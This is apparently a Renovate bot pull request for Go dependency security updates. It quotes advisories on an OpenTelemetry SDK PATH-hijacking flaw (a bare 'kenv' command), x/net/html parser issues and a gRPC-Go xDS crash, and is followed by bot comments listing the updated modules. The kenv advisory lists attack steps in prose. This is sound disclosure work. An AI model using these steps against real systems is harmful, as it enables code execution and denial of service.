Patches

This has been patched in d45961b, which was released with v1.40.0.

References

Severity

  • CVSS Score: 7.0 / 10 (High)
  • Vector String: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


OpenTelemetry Go SDK Vulnerable to Arbitrary Code Execution via PATH Hijacking in go.opentelemetry.io/otel/sdk

CVE-2026-24051 / GHSA-9h8m-3fm2-qjrq / GO-2026-4394

More information

Details

OpenTelemetry Go SDK Vulnerable to Arbitrary Code Execution via PATH Hijacking in go.opentelemetry.io/otel/sdk

Severity

Unknown

References

This data is provided by OSV and the Go Vulnerability Database (CC-BY 4.0).


opentelemetry-go: BSD kenv command not using absolute path enables PATH hijacking

CVE-2026-39883 / GHSA-hfvc-g4fc-pqhx / GO-2026-5426

More information

Details

Summary

The fix for GHSA-9h8m-3fm2-qjrq (CVE-2026-24051) changed the Darwin ioreg command to use an absolute path but left the BSD kenv command using a bare name, allowing the same PATH hijacking attack on BSD and Solaris platforms.

Root Cause

sdk/resource/host_id.go line 42:

if result, err := r.execCommand("kenv", "-q", "smbios.system.uuid"); err == nil {

Compare with the fixed Darwin path at line 58:

result, err := r.execCommand("/usr/sbin/ioreg", "-rd1", "-c", "IOPlatformExpertDevice")

The execCommand helper at sdk/resource/host_id_exec.go uses exec.Command(name, arg...) which searches $PATH when the command name contains no path separator.

Affected platforms (per build tag in host_id_bsd.go:4): DragonFly BSD, FreeBSD, NetBSD, OpenBSD, Solaris.

The kenv path is reached when /etc/hostid does not exist (line 38-40), which is common on FreeBSD systems.

Attack
  1. Attacker has local access to a system running a Go application that imports go.opentelemetry.io/otel/sdk
  2. Attacker places a malicious kenv binary earlier in $PATH
  3. Application initializes OpenTelemetry resource detection at startup
  4. hostIDReaderBSD.read() calls exec.Command("kenv", ...) which resolves to the malicious binary
  5. Arbitrary code executes in the context of the application

Same attack vector and impact as CVE-2026-24051.

Suggested Fix

Use the absolute path:

if result, err := r.execCommand("/bin/kenv", "-q", "smbios.system.uuid"); err == nil {

On FreeBSD, kenv is located at /bin/kenv.

Severity

  • CVSS Score: 7.3 / 10 (High)
  • Vector String: CVSS:4.0/AV:L/AC:H/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Opentelemetry-go: BSD kenv command not using absolute path enables PATH hijacking in go.opentelemetry.io/otel/sdk

CVE-2026-39883 / GHSA-hfvc-g4fc-pqhx / GO-2026-5426

More information

Details

Opentelemetry-go: BSD kenv command not using absolute path enables PATH hijacking in go.opentelemetry.io/otel/sdk

Severity

Unknown

References

This data is provided by OSV and the Go Vulnerability Database (CC-BY 4.0).


Avoid quadratic complexity when coalescing text nodes in html in golang.org/x/net

CVE-2026-78661 / GO-2026-6860

More information

Details

When coalescing adjacent text nodes in addText and fosterParent, appending to an existing TextNode's Data via string concatenation (n.Data += text) reallocated and copied the accumulated string on every token. Inputs containing many short text runs separated by ignored end tags (such as "a") caused O(n^2) allocations and byte copies.

Accumulate coalesced text in per-node byte slices during parsing and materialize Data strings once at the end of parse.

Severity

Unknown

References

This data is provided by OSV and the Go Vulnerability Database (CC-BY 4.0).


Check all ancestor namespace transitions when rendering raw text in html in golang.org/x/net

CVE-2026-97045 / GO-2026-6866

More information

Details

In childTextNodesAreLiteral, walking up the tree previously stopped at the nearest foreign ancestor once an HTML integration point was found. However, that integration point may itself be a descendant of an element that was foster-parented into a foreign namespace (such as or fostered under ), causing a parser to resolve the subtree in a different foreign namespace upon re-parsing the rendered output.

Continue walking the full ancestor chain and verify that every transition from a non-empty namespace occurs at an HTML integration point before emitting literal text.

Severity

Unknown

References

This data is provided by OSV and the Go Vulnerability Database (CC-BY 4.0).


gRPC-Go xDS servers: Denial of Service (DoS) via crash due to missing :authority and Host headers

CVE-2026-84445 / GHSA-2v4p-qf9q-27wj

More information

Details

A vulnerability exists in gRPC-Go servers configured with xds.NewGRPCServer() where a crafted request missing both :authority and Host headers can cause a server panic, resulting in a Denial of Service (DoS).

Servers built with xds.NewGRPCServer install an xDS routing interceptor on every RPC. This interceptor looks up the request’s :authority header to pick a virtual host. The HTTP/2 server transport previously accepted requests that had neither :authority nor Host. When this happened, the xDS routing interceptor attempted to access the first element of an empty slice of authorities, leading to an index out of bounds panic. Since the per-RPC goroutine does not recover from panics, the entire server process would terminate.

This panic occurs in the interceptor pipeline, meaning the transport credentials handshake (TLS, mTLS, or ALTS) and HTTP/2 connection establishment must complete successfully before the crafted request can reach this logic.

  • Insecure/Standard TLS: If the server permits insecure (plaintext) connections or standard credentials (where client certs are not checked), any unauthenticated remote attacker can trigger the crash.
  • mTLS / ALTS: If strict transport-level authentication is enforced at the network edge or transport layer (e.g., requiring a valid client certificate), the attacker must possess valid transport credentials to initiate the stream and trigger the panic.
Impact

An attac

[!IMPORTANT]
✂ PR body was truncated to here.

@ospk8s-renovate

ospk8s-renovate Bot commented Oct 6, 2026 •

Copy link
Copy Markdown
Contributor Author

ℹ️ Artifact update notice

File name: api/go.mod

In order to perform the update(s) described in the table above, Renovate ran the go get command, which resulted in the following additional change(s):

  • 19 additional dependencies were updated

Details:

Package Change
golang.org/x/tools v0.49.0 -> v0.51.0
k8s.io/api v0.33.13 -> v0.34.1
k8s.io/apimachinery v0.33.13 -> v0.34.1
k8s.io/client-go v0.33.13 -> v0.34.1
sigs.k8s.io/controller-runtime v0.21.0 -> v0.22.3
github.com/go-openapi/jsonpointer v0.21.1 -> v0.22.1
github.com/go-openapi/jsonreference v0.21.0 -> v0.21.2
github.com/prometheus/client_golang v1.22.0 -> v1.23.2
github.com/prometheus/common v0.65.0 -> v0.66.1
github.com/prometheus/procfs v0.16.1 -> v0.17.0
golang.org/x/crypto v0.57.0 -> v0.58.0
golang.org/x/sync v0.23.0 -> v0.24.0
golang.org/x/sys v0.48.0 -> v0.49.0
golang.org/x/term v0.46.0 -> v0.47.0
golang.org/x/text v0.42.0 -> v0.43.0
gopkg.in/evanphx/json-patch.v4 v4.12.0 -> v4.13.0
k8s.io/apiextensions-apiserver v0.33.13 -> v0.34.1
k8s.io/kube-openapi v0.0.0-20250902184714-7fc278399c7f -> v0.0.0-20250910181357-589584f1c912
sigs.k8s.io/gateway-api v1.2.1 -> v1.4.0
File name: go.mod

In order to perform the update(s) described in the table above, Renovate ran the go get command, which resulted in the following additional change(s):

  • 31 additional dependencies were updated

Details:

Package Change
k8s.io/api v0.33.13 -> v0.34.1
k8s.io/apiextensions-apiserver v0.33.13 -> v0.34.1
k8s.io/apimachinery v0.33.13 -> v0.34.1
k8s.io/client-go v0.33.13 -> v0.34.1
sigs.k8s.io/controller-runtime v0.21.0 -> v0.22.3
cel.dev/expr v0.19.1 -> v0.25.2
github.com/go-openapi/jsonpointer v0.21.1 -> v0.22.1
github.com/go-openapi/jsonreference v0.21.0 -> v0.21.2
github.com/grpc-ecosystem/grpc-gateway/v2 v2.25.1 -> v2.29.0
github.com/prometheus/client_golang v1.22.0 -> v1.23.2
github.com/prometheus/common v0.65.0 -> v0.66.1
github.com/prometheus/procfs v0.16.1 -> v0.17.0
github.com/spf13/cobra v1.9.1 -> v1.10.1
go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp v0.58.0 -> v0.61.0
go.opentelemetry.io/otel/metric v1.41.0 -> v1.45.0
go.opentelemetry.io/otel/trace v1.41.0 -> v1.45.0
go.opentelemetry.io/proto/otlp v1.4.0 -> v1.11.0
golang.org/x/crypto v0.57.0 -> v0.58.0
golang.org/x/sync v0.23.0 -> v0.24.0
golang.org/x/sys v0.48.0 -> v0.49.0
golang.org/x/term v0.46.0 -> v0.47.0
golang.org/x/text v0.42.0 -> v0.43.0
golang.org/x/tools v0.49.0 -> v0.51.0
google.golang.org/genproto/googleapis/api v0.0.0-20250106144421-5f5ef82da422 -> v0.0.0-20260803160001-6ac0973c030d
google.golang.org/genproto/googleapis/rpc v0.0.0-20250115164207-1a7da9e5054f -> v0.0.0-20260803160001-6ac0973c030d
gopkg.in/evanphx/json-patch.v4 v4.12.0 -> v4.13.0
k8s.io/apiserver v0.33.13 -> v0.34.1
k8s.io/component-base v0.33.13 -> v0.34.1
k8s.io/kube-openapi v0.0.0-20250902184714-7fc278399c7f -> v0.0.0-20250910181357-589584f1c912
sigs.k8s.io/apiserver-network-proxy/konnectivity-client v0.31.2 -> v0.33.0
sigs.k8s.io/gateway-api v1.2.1 -> v1.4.0

@openshift-ci
openshift-ci Bot requested review from abays and stuggi October 6, 2026 09:14
@openshift-ci

openshift-ci Bot commented Oct 6, 2026

Copy link
Copy Markdown
Contributor

[APPROVALNOTIFIER] This PR is NOT APPROVED

This pull-request has been approved by: ospk8s-renovate[bot]
Once this PR has been reviewed and has the lgtm label, please assign fultonj for approval. For more information see the Code Review Process.

The full list of commands accepted by this bot can be found here.

Details Needs approval from an approver in each of these files:

Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment

@coderabbitai

coderabbitai Bot commented Oct 6, 2026 •

Copy link
Copy Markdown

Important

Review skipped

Bot user detected.

To trigger a single review, invoke the @coderabbitai review command.

Run configuration
  • Source mode: Auto
  • Repository: Unavailable
  • Branch: Unavailable
  • File: No configuration file from this repository applied
  • Commit: Unavailable
  • Layers: Central YAML (base), Organization UI (inherited)
  • Review profile: CHILL
  • Plan: Advanced
  • Run ID: 93818f37-00b6-42da-9f9c-3f5a151c996d

You can disable this status message by setting the reviews.review_status to false in the CodeRabbit configuration file.

Use the checkbox below for a quick retry:

  • 🔍 Trigger review
  • Autofix · Keep fixing CodeRabbit findings and required CI, and resolving merge conflicts

Comment @coderabbitai help to get the list of available commands.

@openshift-ci

openshift-ci Bot commented Oct 6, 2026

Copy link
Copy Markdown
Contributor

Hi @ospk8s-renovate[bot]. Thanks for your PR.

I'm waiting for a openstack-k8s-operators member to verify that this patch is reasonable to test. If it is, they should reply with /ok-to-test on its own line. Until that is done, I will not automatically test new commits in this PR, but the usual testing commands by org members will still work.

Regular contributors should join the org to skip this step.

Once the patch is verified, the new status will be reflected by the ok-to-test label.

I understand the commands that are listed here.

Details

Instructions for interacting with me using PR comments are available here. If you have questions or suggestions related to my behavior, please file an issue against the kubernetes-sigs/prow repository.

@ospk8s-renovate
ospk8s-renovate Bot force-pushed the renovate/18-stable-osv-vulnerability-alerts branch 5 times, most recently from 059e3a6 to 7e8c945 Compare October 14, 2026 20:39
@ospk8s-renovate
ospk8s-renovate Bot force-pushed the renovate/18-stable-osv-vulnerability-alerts branch 8 times, most recently from 95acc98 to d0a935a Compare October 25, 2026 13:31
@ospk8s-renovate
ospk8s-renovate Bot force-pushed the renovate/18-stable-osv-vulnerability-alerts branch 2 times, most recently from f879346 to 46a21df Compare October 28, 2026 17:36
@ospk8s-renovate
ospk8s-renovate Bot force-pushed the renovate/18-stable-osv-vulnerability-alerts branch from 46a21df to 3719768 Compare October 29, 2026 20:28

This branch has not been deployed

No deployments
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants